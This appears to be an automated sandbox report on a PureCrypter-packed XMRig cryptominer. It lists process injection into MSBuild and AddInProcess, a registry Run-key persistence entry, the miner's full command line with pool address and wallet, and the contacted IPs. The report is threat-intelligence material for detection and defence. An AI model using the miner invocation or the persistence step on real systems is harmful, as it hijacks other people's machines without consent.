Malware Analysis Report

2024-11-30 21:57

Sample ID 230203-zmcnlsee6w
Target 14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb
SHA256 14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb
Tags
purecrypter xmrig downloader loader miner persistence
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb

Threat Level: Known bad

The file 14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb was found to be: Known bad.

Malicious Activity Summary

purecrypter xmrig downloader loader miner persistence

Detect PureCrypter injector

PureCrypter

xmrig

XMRig Miner payload

Adds Run key to start application

Legitimate hosting services abused for malware hosting/C2

Suspicious use of SetThreadContext

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of FindShellTrayWindow

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: LoadsDriver

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-02-03 20:49

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-02-03 20:49

Reported

2023-02-03 20:52

Platform

win10-20220812-en

Max time kernel

148s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe"

Signatures

Detect PureCrypter injector

loader
Description Indicator Process Target
N/A N/A N/A N/A

PureCrypter

loader downloader purecrypter

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2482096546-1136599444-1359412500-1000\Software\Microsoft\Windows\CurrentVersion\Run\cloudapp = "\"C:\\Users\\Admin\\AppData\\Local\\WinSCP\\cloudapp.exe\"" C:\Users\Admin\AppData\Local\Temp\14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe N/A

Legitimate hosting services abused for malware hosting/C2

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A

Suspicious behavior: LoadsDriver

Description Indicator Process Target
N/A N/A N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3824 wrote to memory of 4848 N/A C:\Users\Admin\AppData\Local\Temp\14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3824 wrote to memory of 4848 N/A C:\Users\Admin\AppData\Local\Temp\14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3824 wrote to memory of 4844 N/A C:\Users\Admin\AppData\Local\Temp\14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 3824 wrote to memory of 4844 N/A C:\Users\Admin\AppData\Local\Temp\14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 3824 wrote to memory of 4844 N/A C:\Users\Admin\AppData\Local\Temp\14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 3824 wrote to memory of 4844 N/A C:\Users\Admin\AppData\Local\Temp\14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 3824 wrote to memory of 4844 N/A C:\Users\Admin\AppData\Local\Temp\14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 3824 wrote to memory of 4844 N/A C:\Users\Admin\AppData\Local\Temp\14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 4844 wrote to memory of 3404 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 4844 wrote to memory of 3404 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 4844 wrote to memory of 3404 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 4844 wrote to memory of 3404 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 4844 wrote to memory of 3404 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 4844 wrote to memory of 3404 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 4844 wrote to memory of 3404 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 4844 wrote to memory of 3404 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 4844 wrote to memory of 3404 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 4844 wrote to memory of 3404 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 4844 wrote to memory of 3404 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 4844 wrote to memory of 3404 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 4844 wrote to memory of 3404 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 4844 wrote to memory of 3404 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

Processes

C:\Users\Admin\AppData\Local\Temp\14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe

"C:\Users\Admin\AppData\Local\Temp\14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 45.142.122.11:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ.Worker_CPU -p x --algo rx/0 --cpu-max-threads-hint=50

Network

Country Destination Domain Proto
US 163.123.142.210:80 163.123.142.210 tcp
US 20.44.10.123:443 tcp
US 209.197.3.8:80 tcp
IT 179.43.155.202:9090 tcp
US 8.8.8.8:53 github.com udp
IN 20.207.73.82:443 github.com tcp
US 8.8.8.8:53 raw.githubusercontent.com udp
US 185.199.109.133:443 raw.githubusercontent.com tcp
RU 45.142.122.11:8080 tcp

Files

memory/3824-120-0x000002015AF00000-0x000002015AF2E000-memory.dmp

memory/3824-121-0x00000201755D0000-0x00000201758BA000-memory.dmp

memory/3824-122-0x000002015B320000-0x000002015B342000-memory.dmp

memory/4848-123-0x0000000000000000-mapping.dmp

memory/4848-130-0x000001EAC3F90000-0x000001EAC4006000-memory.dmp

memory/3824-138-0x00000201759F0000-0x0000020175AAC000-memory.dmp

memory/4844-139-0x0000000000400000-0x000000000048C000-memory.dmp

memory/4844-140-0x0000000000400000-mapping.dmp

memory/4844-141-0x0000022D77E10000-0x0000022D77EAE000-memory.dmp

memory/4844-142-0x0000022D75BB0000-0x0000022D75C06000-memory.dmp

memory/4844-143-0x0000022D775E0000-0x0000022D7762C000-memory.dmp

memory/4844-144-0x0000022D75C90000-0x0000022D75CA6000-memory.dmp

memory/3404-145-0x0000000140000000-0x00000001407CA000-memory.dmp

memory/3404-146-0x0000000140344454-mapping.dmp

memory/3404-147-0x0000000140000000-0x00000001407CA000-memory.dmp

memory/3404-148-0x0000000140000000-0x00000001407CA000-memory.dmp

memory/3404-149-0x0000020A13110000-0x0000020A13130000-memory.dmp

memory/3404-150-0x0000000140000000-0x00000001407CA000-memory.dmp

memory/3404-151-0x0000020A14AD0000-0x0000020A14AF0000-memory.dmp

memory/3404-152-0x0000000140000000-0x00000001407CA000-memory.dmp

memory/3404-153-0x0000020A14AF0000-0x0000020A14B10000-memory.dmp

memory/3404-154-0x0000020A14AF0000-0x0000020A14B10000-memory.dmp